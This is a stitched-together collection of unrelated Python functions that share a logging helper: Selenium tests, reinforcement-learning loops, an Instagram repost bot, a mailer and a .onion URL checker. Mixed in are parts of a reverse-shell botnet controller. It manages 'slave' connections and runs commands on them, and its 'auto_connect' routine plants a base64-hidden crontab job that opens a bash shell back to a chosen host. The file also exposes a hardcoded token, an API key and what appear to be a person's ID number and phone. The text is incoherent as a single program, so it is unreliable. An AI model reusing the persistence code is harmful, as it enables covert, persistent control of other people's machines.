def send_command_print(self, command): print((">>>>>> %s") % command) self.send_command(command) time.sleep(0.5) Log.info("Receving data from socket...") result = recvall(self.socket_fd) Log.success(result)
def master(host, port): Log.info("Master starting at %s:%d" % (host, port)) master_fd = socket.socket(socket.AF_INET, socket.SOCK_STREAM) master_fd.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) master_fd.bind((host, port)) master_fd.listen(MAX_CONNECTION_NUMBER) while (True): if EXIT_FLAG: break slave_fd, slave_addr = master_fd.accept() Log.success("\r[+] Slave online : %s:%d" % (slave_addr[0], slave_addr[1])) repeat = False for i in slaves.keys(): slave = slaves[i] if slave.hostname == slave_addr[0]: repeat = True break if repeat: Log.warning("Detect the same host connection, reseting...") slave_fd.shutdown(socket.SHUT_RDWR) slave_fd.close() else: slave = Slave(slave_fd) slaves[slave.node_hash] = slave Log.error("Master exiting...") master_fd.shutdown(socket.SHUT_RDWR) master_fd.close()
class Evaluator: def __init__(self, config, model): self.device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') self.model = model.to(self.device) self.model = torch.load(config.model_path, map_location=self.device) self.logger = Log() def evaluate(self, data): desc = '[Evaluate]' batch_iterator = tqdm(data, desc=desc, ncols=100) pre_list = [] label_list = [] logits_list = [] prob_list = [] with torch.no_grad(): self.model.eval() for i, batch in enumerate(batch_iterator): batch = {key: value.to(self.device) for key, value in batch.items()} logits, prob = self.model(batch) _, pre = torch.max(logits, 1) pre_list += pre.cpu().numpy().tolist() label_list += batch['label'].cpu().numpy().tolist() logits_list += logits.cpu().numpy().tolist() prob_list += prob.cpu().numpy().tolist() result = { 'acc': accuracy_score(label_list, pre_list), 'f1': f1_score(label_list, pre_list, average='macro') } self.logger.info('Evaluate', 'evaluation score is %.4f' % result['acc']) self.logger.info('Evaluate', 'evaluation f1 is %.4f' % result['f1']) return result
def get(self, url, params): """get请求。 如果请求出错,则返回None。 """ # 检查传入的url if url is None: Log.error("get请求错误:url为空!!!") return None # 检查传入的参数 try: params_dict = json.loads(params) except Exception as e: Log.error("get请求错误:参数格式错误!!!" + str(repr(e))) return None # get请求 try: r = requests.get(url, params=params_dict, headers=self.headers, timeout=5) except Exception as e: Log.error("get请求异常,异常提示:" + str(repr(e))) return None if r.status_code != 200: Log.error("get请求响应错误:%d" % r.status_code) return None # 如果都没有错误,返回请求结果 Log.info("get请求成功!") return r.text
def auto_connect(self, target_host, target_port): # 1. Save old crontab Log.info("Saving old crontab") chars = string.letters + string.digits target_file = "/tmp/%s-system.server-%s" % (random_string( 0x20, chars), random_string(0x08, chars)) self.save_crontab(target_file) # 2. Delete old reverse shell tasks Log.info("Removing old tasks in crontab...") command = 'sed -i "/bash/d" %s' % (target_file) self.send_command(command) # 3. Add a new task content = '* * * * * bash -c "bash -i &>/dev/tcp/%s/%d 0>&1"\n' % ( target_host, target_port) Log.info("Add new tasks : %s" % (content)) command = 'echo "%s" | base64 -d >> %s' % ( content.encode("base64").replace("\n", ""), target_file) self.send_command(command) # 4. Rescue crontab file Log.info("Rescuing crontab file...") command = 'crontab %s' % (target_file) self.send_command(command) # 5. Delete temp file Log.info("Deleting temp file...") command = "rm -rf %s" % (target_file) self.send_command(command) # 6. Receving buffer data print recvall(self.socket_fd)
def __url_check(self, url=None, urls=[]): """ Checks if the given url exists. Parameters ---------- url: str The .onion url urls: list The result list """ try: http_status = urllib2.urlopen(url).getcode() if http_status < 400: html = urllib2.urlopen(url).read() parser = HtmlParser(html) title = parser.get_title() Log.info("Found: \033[1m{}{} | {}{}\033[0m".format( Fore.GREEN, title, url, Fore.RESET)) urls.append(url) except urllib2.URLError: pass
class MyTestCase(unittest.TestCase): """ The base class is for all test cases. This is a father . """ success = "SUCCESS " fail = "FAIL " logger = Log() def setUp(self): self.logger = Log() self.logger.info( '############################### START ###############################' ) # chrome_options = Options() # chrome_options.add_argument('--headless') # self.driver = webdriver.Chrome(options=chrome_options, executable_path=driver_path + "\\" + "chromedriver.exe") self.driver = webdriver.Chrome(driver_path + "\\" + "chromedriver.exe") self.driver.maximize_window() self.driver.set_window_size(1920, 1080) self.driver.implicitly_wait(30) def tearDown(self): time.sleep(2) # self.driver.quit() self.logger.info( '############################### END ###############################' ) @staticmethod def my_print(msg): logger.info(msg)
def post(): caption = ''' Tag your friends • ➖➖➖➖➖➖➖➖➖➖ 🎈Double Tap ❤ 🎈Share and TAG your buddies who love to travel ➖➖➖➖➖➖➖➖➖➖ 🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹 ‼ Follow @{myAccount} ‼ Follow @{myAccount} ‼ Follow @{myAccount} 🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹🔹 Credit : @{pictureOwner} . . {hashtags} '''.format(myAccount=username, pictureOwner=popularPost["owner"], hashtags=' '.join(popularPost["hashtags"])) print("\n") Log.info("Posting " + popularPost["path"]) print("\n") bot.upload_photo(popularPost["path"], caption=caption) Log.success("Posted!") os.remove(popularPost["path"] + '.REMOVE_ME')
def login(): passwordToPrint = "" for i in range(len(password)): passwordToPrint += "*" print("=" * 50) print("\n") Log.warning("Logging in...") print("\n") Log.info("Username: "******"Password: "******"\n") if (useProxy): try: bot.login(username=username, password=password, proxy=proxy_url) except AssertionError: os.remove('config/' + username + '_uuid_and_cookie.json') bot.login(username=username, password=password, proxy=proxy_url) else: try: bot.login(username=username, password=password) except AssertionError: os.remove('config/' + username + '_uuid_and_cookie.json') bot.login(username=username, password=password) Log.success("Logged In as " + username) print("\n")
class MyTestCase(unittest.TestCase): """ The base class is for all testcase. """ success = "SUCCESS " fail = "FAIL " logger = Log() def setUp(self): self.logger = Log() self.logger.info( '############################### START ###############################' ) self.driver = webdriver.Chrome( "C:\\Users\\Administrator\\AppData\Local\\Google\Chrome\\Application\\chromedriver.exe" ) # self.driver = webdriver.Chrome(driver_path+'\\'+'chromedriver.exe') self.driver.implicitly_wait(30) self.driver.maximize_window() def tearDown(self): time.sleep(5) self.driver.quit() self.logger.info( '############################### End ###############################' ) def my_print(self, msg): logger.info(msg)
def deleteProfile(configProfileFolder): Screen.clear() Screen.welcomeAscii() print("\n") Log.warning("Delete Profile") print("\n") profiles = [] i = 1 for f in os.listdir(configProfileFolder): profiles.append(f) Log.info(str(i) + ". " + f.replace("_settings.ini", "")) i += 1 Log.error(str(i) + ". Go Back") choice = int(input("\n=> ")) if (choice == i): start() else: print("\n") Log.error(profiles[choice - 1]) os.remove(configProfileFolder + profiles[choice - 1]) try: os.remove('config/' + profiles[choice - 1].replace("_settings.ini", "") + '_uuid_and_cookie.json') os.remove('config/' + profiles[choice - 1].replace("_settings.ini", "") + '.checkpoint') except: pass time.sleep(1) start()
def get(self, url): try: self.driver.get(url) Log.info('navigate to [%s]' % url) except: Log.error('can not navigate to [%s]' % url) raise
class Config: """ Configuration settings """ def __init__(self, file=None): if not file: file = os.path.abspath(os.curdir) + "/config.ini" self.log = Log().handle(__name__) self.log.info(f"Config file: {file}") self.config = configparser.ConfigParser(allow_no_value=True) self.config.read(file) def settings(self, section, field=None): settings = self.config.items(section) try: settings = self.config.items(section) except Exception as e: self.log.error(f"Script exited with error: [{e}]") sys.exit(1) if field: try: section_settings = dict(settings)[field.lower()] except Exception as e: self.log.error(f"Script exited with error: [{e}]") sys.exit(1) self.log.debug( f"Config settings for {section}:{field} is {section_settings}") return section_settings
class createWayBill(unittest.TestCase): '''新增运单''' def setUp(self): self.logger = Log() self.logger.info( '############################### START ###############################' ) config = ReadYaml('./config/httpconfig.yaml').getValue() self.url = "http://{0}:{1}/tms/api/tms/wayBill/createWayBill".format( config['host'], config['port']) self.token = 'eyJlbmNyeXB0ZWREYXRhIjoicFBveUZESkVKR0FWOWpOanVqNGlDRG1uSHNrOWhyVDJRZ2NiTU1LWnBZSXRsZzdFQkVFMFJoR2FzNHMzMXd3SndXb1NVSjJ2Nm1uYjNNdGJ3S1BZcE14UDN5VnNwekh5K05vYzdzd0xTNnhnWEVtWXJUaHlEcGhNY3BMZWFYNjVGa0hsVkFFak80WFk3M1hhbmNkRnF2aVptSWVyOTlKazhucXNjMkZKTkhTTlo2b0RDdTh2VFRyaGxOQzdpUEFlZ1pOK25ZTTZtQkRHUkVJM3dEUEtwWVE5a1RmUXBiczJlbkwvTHZqQWR1Zz0iLCJ3cmFwcGVkS2V5Ijoib1hVN05xNWxsbnVLWUduZEtoc1dtVHpOeSs2RmdhaTFnY0pLeE82NnJ3dTJPMXVhL3dpVzVqTEx2d1NlUEk3N2s2RVFsZ1l0NFVlN2Q2QTVyK0NuTHc9PSJ9' self.headers = { 'Content - Type': 'multipart/form-data', 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36', 'token': self.token } def tearDown(self): self.logger.info( '################################ END ################################' ) @parameterized.expand([ ("34252919880328581x", '13077327043', '京A19901'), ("34252919880328581x", '13077327043', '京A19901'), ("34252919880328581x", '13077327043', '京A19901'), ]) def test_createWayBill_success(self, idNo, mobile, carNo): '''成功新增运单''' payload = { "idNo": '34252919880328581x', "mobile": '13077327043', "carNo": '京A19901', "applyDate": '2017-08-05', "partnerNo": 'ShiDeTang', "sendCity": '北京', "sendProvince": '北京', "arriveProvince": '天津', "arriveCity": '天津', "realName": '王锡聪', "carType": '2', "income": '0.1', "supplierName": '', "supplierId": '', "totalAmt": '0.1', "preAmt": '0.01', "oilAmt": '0.02', "destAmt": '0.03', "lastAmt": '0.04', "projects": '快递20170804002', "hasReceipt": '1', "content": '', "source": 'TMS' } request = requests.post(self.url, payload, headers=self.headers) response = request.json() print(response) self.assertEqual(response['code'], 1)
def clear(self, pageName, objectName): try: self.getElement(pageName, objectName).clear() Log.info('clear the [%s] in [%s]' % (objectName, pageName)) except: Log.error('can not clear the [%s] in [%s]' % (objectName, pageName)) raise
def switch_to_frame(self, pageName, objectName): try: frame = self.getElement(pageName, objectName) self.driver.switch_to.frame(frame) Log.info('switch to [%s] in [%s]' % (objectName, pageName)) except: Log.error('can not switch to [%s] in [%s]' % (objectName, pageName)) raise
def set_taskid_options(self, taskid, options): '''通过taskid设置url,data等''' option_set_api = self.server + '/option/' + taskid + '/set' status = requests.post(option_set_api, json=options, headers=self.headers).json() if status['success']: Log.info('设置参数成功') return True
def send_key(self, pageName, objectName, data): try: self.getElement(pageName, objectName).send_keys(data) Log.info('send [%s] to [%s] in [%s]' % (data, objectName, pageName)) except: Log.error('can not send [%s] to [%s] in [%s]' % (data, objectName, pageName)) raise
def openBrowser(self): if self.browser == 'chrome': self.driver = webdriver.Chrome() elif self.browser == 'firefox': self.driver = webdriver.Firefox() else: Log.error('no such browser [%s]' % self.browser) raise Exception('no such browser [%s]' % self.browser) Log.info('open browser [%s]' % self.browser)
def _find_new_file(self, dir): """查找目录下最新的文件""" file_lists = os.listdir(dir) file_lists.sort(key=lambda fn: os.path.getmtime(dir + "\\" + fn) if not os.path.isdir(dir + "\\" + fn) else 0) # print('最新的文件为: ' + file_lists[-1]) file = os.path.join(dir, file_lists[-1]) Log.info('最新的测试报告为:' + str(file)) return file
def main(): env = gym.make('CartPole-v1') model = PPO() score = 0.0 print_interval = 20 log = Log(__file__[:-3]) wandb.init(project="dgdfhdfh") wandb.watch(model) for n_epi in range(600): s = env.reset() done = False epsilon = max(0.01, args.epsilon - 0.01 * (n_epi / 200)) loss_temp = 0.0 while not done: for t in range(args.T_horizon): prob = model.pi(torch.from_numpy(s).float()) m = Categorical(prob) a = m.sample().item() coin = random.random() if coin < epsilon: a = random.randint(0, 1) s_prime, r, done, info = env.step(a) model.put_data( (s, a, r / 100.0, s_prime, prob[a].item(), done)) s = s_prime score += r if done: break loss_temp += model.train_net() if n_epi % print_interval == 0 and n_epi != 0: log.info("episode :{}, avg score : {:.1f}".format( n_epi, score / print_interval)) wandb.log({ 'score': score / print_interval, 'epsilon': epsilon, 'loss': loss_temp / print_interval }) score = 0.0 if n_epi % 500 == 0 and n_epi != 0: saved_model_name = 'ppo' + str(n_epi) + '.pt' torch.save(model.state_dict(), os.path.join(wandb.run.dir, saved_model_name)) env.close()
class Mail(object): ''' classdocs ''' def __init__(self, from_addr, to_addrs): self.logger = Log().getLogger("Mail") self.from_addr = from_addr self.to_addrs = to_addrs def set_from_addr(self, from_addr): self.from_addr = from_addr def set_to_addrs(self, to_addrs): self.to_addrs = to_addrs def init_smtp(self, from_addr, to_addrs): self.smtp = smtplib.SMTP('mail.emea.nsn-intra.net') self.message = MIMEMultipart() self.message['From'] = from_addr self.message['To'] = to_addrs def close_smtp(self): self.smtp.close() def create(self, subject, content, attachment=None, subtype='plain'): self.init_smtp(self.from_addr, self.to_addrs) self.add_mail_subject(subject) if content: self.add_mail_content(content, subtype) if attachment: self.add_mail_attach(attachment) def send(self): self.logger.debug('From: ' + self.from_addr + ' To:' + self.to_addrs + ' Message:' + self.message.as_string()) self.smtp.sendmail(self.from_addr, self.to_addrs, self.message.as_string()) self.close_smtp() def add_mail_subject(self, subject): self.message['Subject'] = subject def add_mail_content(self, content_str, subtype): mail_msg = MIMEText(content_str, subtype) self.message.attach(mail_msg) def add_mail_attach(self, attach_list): for filename in attach_list: source_file = open(filename, 'rb') attachment = MIMEApplication(source_file.read()) attachment.add_header('Content-Disposition', 'attachment', filename=os.path.basename(filename)) self.message.attach(attachment) self.logger.info('add %s as attachment' % filename)
def connect(self): try: uri = "neo4j://{}:{}".format(self.host, self.port) user = self.user password = self.password self.driver = GraphDatabase.driver(uri, auth=(user, password)) Log.info("Conexão estabelecida com sucesso!", "success", "Connector") except: Log.info("Ocorreu algum erro!", "error", "Connector")
def print_command(user_fd): msg = ''' [show/s] : show all slave [i] : open a interactive shell (after choose) [del] : delete the slave (after choose) [choose/c] : choose a slave [name xxxx] : rename a slave (after choose) [check/ck] : check all slave alive [recent/r] : To print Recent connect log [add xxxx] : add crontab, if not xxxx then default bash shell (after choose) [exit] : exit\n''' Log.info(msg, user_fd)
def system_token(self, command): token = random_string(0x10, string.letters) payload = "echo '%s' && %s ; echo '%s'\n" % (token, command, token) Log.info(payload) self.send_command(payload) time.sleep(0.2) result = recvall(self.socket_fd) print(("%r") % (result)) if len(result.split(token)) == 3: return result.split(token)[1] else: return "Somthing wrong"
def main(): env = gym.make('CartPole-v1') model = PPO() score = 0.0 print_interval = 20 log = Log(__file__[:-3]) experiment = Experiment(api_key="F8yfdGljIExZoi73No4gb1gF5", project_name="reinforcement-learning", workspace="zombasy") experiment.set_model_graph(model) for n_epi in range(2000): s = env.reset() done = False epsilon = max(0.01, args.epsilon - 0.01 * (n_epi / 200)) while not done: for t in range(args.T_horizon): prob = model.pi(torch.from_numpy(s).float()) m = Categorical(prob) a = m.sample().item() coin = random.random() if coin < epsilon: a = random.randint(0, 1) s_prime, r, done, info = env.step(a) model.put_data( (s, a, r / 100.0, s_prime, prob[a].item(), done)) s = s_prime score += r if done: break model.train_net() if n_epi % print_interval == 0 and n_epi != 0: log.info("episode :{}, avg score : {:.1f}".format( n_epi, score / print_interval)) experiment.log_metric('score', score / print_interval) experiment.log_metric('epsilon', epsilon) score = 0.0 if n_epi % 500 == 0 and n_epi != 0: save_model(model, 'ppo', n_epi, experiment) env.close()
def main(): env = gym.make('CartPole-v1') model = PPO() score = 0.0 loss_temp = 0.0 print_interval = 20 log = Log(__file__[:-3]) neptune.init('sunyong/sandbox') neptune.create_experiment(name='minimal_example') for n_epi in range(2000): s = env.reset() done = False epsilon = max(0.01, args.epsilon - 0.01 * (n_epi / 200)) while not done: for t in range(args.T_horizon): prob = model.pi(torch.from_numpy(s).float()) m = Categorical(prob) a = m.sample().item() coin = random.random() if coin < epsilon: a = random.randint(0, 1) s_prime, r, done, info = env.step(a) model.put_data( (s, a, r / 100.0, s_prime, prob[a].item(), done)) s = s_prime score += r if done: break loss_temp += model.train_net() if n_epi % print_interval == 0 and n_epi != 0: log.info("episode :{}, avg score : {:.1f}".format( n_epi, score / print_interval)) neptune.log_metric('score', score / print_interval) neptune.log_metric('epsilon', epsilon) neptune.log_metric('loss', loss_temp / print_interval) score = 0.0 loss_temp = 0.0 if n_epi % 500 == 0 and n_epi != 0: saved_model_name = 'ppo' + str(n_epi) + '.pt' env.close()
def print_salve(user_fd): i = 0 for key in slaves.keys(): info = slaves[key].getinfo() sinfo = '[' + str(i) + '] ' for m in info: sinfo += str(m) + ' ' sinfo += '\n' Log.info(sinfo, user_fd) i += 1 if i == 0: msg = 'Do not have slaves, you can check the log\n' Log.warning(msg, user_fd)
def remove_crontab(self, pattern, user_fd): # 1. Save old crontab Log.info("Saving old crontab\n", user_fd) chars = string.ascii_letters + string.digits target_file = "/tmp/%s-system.server-%s\n" % (random_string( 0x20, chars), random_string(0x08, chars)) self.save_crontab(target_file) # 2. Delete old reverse shell tasks Log.info("Removing old tasks in crontab...\n", user_fd) command = 'sed -i "/%s/d" %s\n' % target_file try: fd_send(self.socket_fd, command) except socket.error: self.del_socket() # 4. Rescue crontab file Log.info("Rescuing crontab file...\n", user_fd) command = 'crontab %s\n' % target_file try: fd_send(self.socket_fd, command) except socket.error: self.del_socket() # 5. Delete temp file Log.info("Deleting temp file...\n", user_fd) command = "rm -rf %s\n" % target_file try: fd_send(self.socket_fd, command) except socket.error: self.del_socket()
def scrapeHashtag(): global popularPost print("=" * 50) print("\n") labelBuffer = input("Hashtag: ") label = labelBuffer.replace("#", "") Screen.clear() Log.success("Analyzing #" + label) popularPost = Instagram.searchHashtag(label) print("\n") Log.info("Owner: @" + popularPost["owner"]) Log.info("Likes: " + str(popularPost["likes"])) print("\n") print("=" * 50)